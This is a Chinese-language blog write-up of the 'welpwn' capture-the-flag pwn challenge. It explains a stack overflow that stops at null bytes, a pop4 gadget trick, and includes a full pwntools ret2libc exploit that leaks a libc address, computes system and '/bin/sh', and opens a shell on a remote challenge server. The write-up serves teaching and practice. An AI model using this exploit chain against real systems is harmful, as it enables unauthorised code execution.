攻防世界-welpwn

前言

久违地更新博客了,先水一篇题解吧。

题目分析

checksec

checksec

发现开了NX,栈不可执行了。

IDA

ida

这里是把传进来的buf逐字节赋值给s2,这里有个问题,s2大小是0x10,但是buf有0x400,显然这里存在栈溢出。

解题思路

问题在于这个for循环,它的结束条件是读到\x00字节。换句话说就是当它在buf中读到00字节的时候就会停止拷贝字符串到s2,这就存在一个问题 ,之前的溢出好说,但是覆盖返回地址的时候,必然会出现00字节的情况,这就意味着我们的rop chains将到此终止。

stack

根据函数调用栈的传参规则,main函数栈帧和echo函数栈帧的主要结构如上图所示,我们可以用gdb验证下:

offset check

可以看到buf和s2的距离就是0x20,也就是相距4个Qword。

由于在覆盖返回地址之后,如果我们接着输入构造 rop 的 gadgets是会截断的,这里我们用pop4的gadget来实现”跳跃“

stack2

可以看到如果我们这样输入,s2处填入pop4后还是会停止复制没错,不过我们因为pop4个Qword 的数据,程序因此会执行到buf处pop4后面的指令,即可构造rop chains。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

io = remote('220.249.52.133', 54825)
#io = process('./welpwn')
elf = ELF('./welpwn')
puts_plt = elf.plt['puts']
write_got = elf.got['write']
pop_4= 0x40089c
pop_rdi = 0x4008a3
padding = 0x18
main_addr = 0x4007cd

payload1 = 'A'*padding + p64(pop_4) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)

io.sendlineafter('to RCTF\n', payload1)
io.recvuntil('\x40')

write_addr = u64(io.recv(6).ljust(8, '\x00'))
#print(hex(write_addr))

libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
sys_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

payload2 = 'A'*padding + p64(pop_4) + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr)

io.send(payload2)
io.interactive()

LibcSearcher是第一次用,可以方便地获取libc的偏移,减少重复劳动。

至于为什么io.recvuntil(‘\x40’),自己写写exp就会知道了= =

总结

每一道题都仔细写wp有丶麻烦,闲着没事干的时候(不想做题)就水一篇吧(

0%